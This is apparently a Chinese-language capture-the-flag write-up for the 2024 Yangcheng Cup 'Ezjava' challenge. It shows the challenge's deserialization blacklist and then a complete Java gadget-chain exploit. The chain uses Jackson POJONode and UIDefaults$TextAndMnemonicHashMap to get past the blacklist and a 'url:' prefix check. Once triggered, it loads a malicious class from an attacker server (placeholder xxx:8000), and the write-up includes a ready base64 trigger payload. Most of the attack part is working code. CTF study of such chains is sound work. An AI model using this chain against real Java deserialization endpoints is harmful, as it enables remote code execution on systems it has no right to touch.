2024 羊城杯 Ezjava
2024-09-13 09:14:17 # javasec # unserialize

Web

ezjava

ycbjava.zip

ycbjava.jar

题目给了一个类,里面提示了用户的账户名和密码,可以直接登录进去

接着给了一个反序列化接口,但是过滤了一些类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
package com.example.ycbjava.utils;

import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class MyObjectInputStream extends ObjectInputStream {
private static final String[] blacklist = new String[]{"java.lang.Runtime", "java.lang.ProcessBuilder", "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl", "java.security.SignedObject", "com.sun.jndi.ldap.LdapAttribute", "org.apache.commons.beanutils", "org.apache.commons.collections", "javax.management.BadAttributeValueExpException", "com.sun.org.apache.xpath.internal.objects.XString"};

public MyObjectInputStream(InputStream inputStream) throws IOException {
super(inputStream);
}

protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
String className = desc.getName();
String[] var3 = blacklist;
String[] var4 = var3;
int var5 = var3.length;

for(int var6 = 0; var6 < var5; ++var6) {
String forbiddenPackage = var4[var6];
if (className.startsWith(forbiddenPackage)) {
throw new InvalidClassException("Unauthorized deserialization attempt", className);
}
}

return super.resolveClass(desc);
}
}

1
2
3
4
5
6
7
8
9
java.lang.Runtime;
java.lang.ProcessBuilder;
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
java.security.SignedObject;
com.sun.jndi.ldap.LdapAttribute;
org.apache.commons.beanutils.;
org.apache.commons.collections.;
javax.management.BadAttributeValueExpException;
com.sun.org.apache.xpath.internal.objects.XString;

这里很明显是要我们触发User的getGift,然后添加远程或者本地类路径进行类加载rce

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
package com.example.ycbjava.bean;

import java.io.Serializable;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;

public class User implements Serializable {
public String username = "admin";
public String password = "admin888";
public String gift;

public User() {
}

public String getGift() {
String gift = this.username;
gift = gift.trim();
gift = gift.toLowerCase();
if (gift.startsWith("http") || gift.startsWith("file")) {
gift = "nonono";
}

try {
URL url1 = new URL(gift);
Class URLclass = Class.forName("java.net.URLClassLoader");
Method add = URLclass.getDeclaredMethod("addURL", URL.class);
add.setAccessible(true);
URLClassLoader classloader = (URLClassLoader)ClassLoader.getSystemClassLoader();
add.invoke(classloader, url1);
} catch (Exception var6) {
var6.printStackTrace();
}

return gift;
}

public void setGift(String gift) {
this.gift = gift;
}

public User(String username, String password) {
this.username = username;
this.password = password;
}

public String getUsername() {
return this.username;
}

public void setUsername(String username) {
this.username = username;
}

public String getPassword() {
return this.password;
}

public void setPassword(String password) {
this.password = password;
}
}

黑名单过滤了cb可以直接使用jackson绕过,黑名单过滤了BadAttributeValueExpException可以使用UIDefaults$TextAndMnemonicHashMap绕过,详细可以参考

https://www.aiwin.fun/index.php/archives/4420/ 这个文章,接着构造出利用链如下,因为这道题是可以出网的,所以直接打远程类加载,方便一些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import com.example.ycbjava.bean.User;
import com.fasterxml.jackson.databind.node.POJONode;

import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import sun.reflect.ReflectionFactory;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class jack {
public static void main(String[] args) throws Exception {
User user = new User("url:http://xxx:8000/","pysnow");

POJONode jsonNodes = new POJONode(user);
Class<?> innerClass=Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Map map1= (HashMap) createWithoutConstructor(innerClass);
Map map2= (HashMap) createWithoutConstructor(innerClass);
map1.put(jsonNodes,"222");
map2.put(jsonNodes,"111");
Field field=HashMap.class.getDeclaredField("loadFactor");
field.setAccessible(true);
field.set(map1,1);
Field field1=HashMap.class.getDeclaredField("loadFactor");
field1.setAccessible(true);
field1.set(map2,1);
Hashtable hashtable=new Hashtable();
hashtable.put(map1,1);
hashtable.put(map2,1);
map1.put(jsonNodes, null);
map2.put(jsonNodes, null);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(hashtable);
Base64Encode(barr);
}


private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
}

public static <T> Object createWithoutConstructor (Class classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithoutConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}

public static <T> T createWithoutConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
}

这里的getGift方法里面需要绕过一下URL前缀检测,直接在前面加一个url:头就行,这个可以自己跟进一下URL对象的构造方法就知道了

接着就是构造一个恶意class类

rO0ABXNyAAZweXNub3cv4Bi05zgUVwIAAHhw

然后开始题目复现

  1. 打反序列化将我们的vps路径打进类路径

  1. 开启vps监听并将恶意字节码传到vps上

  1. 发送一个类名的pysnow的序列化流触发远程类加载

ser=rO0ABXNyAAZweXNub3cv4Bi05zgUVwIAAHhw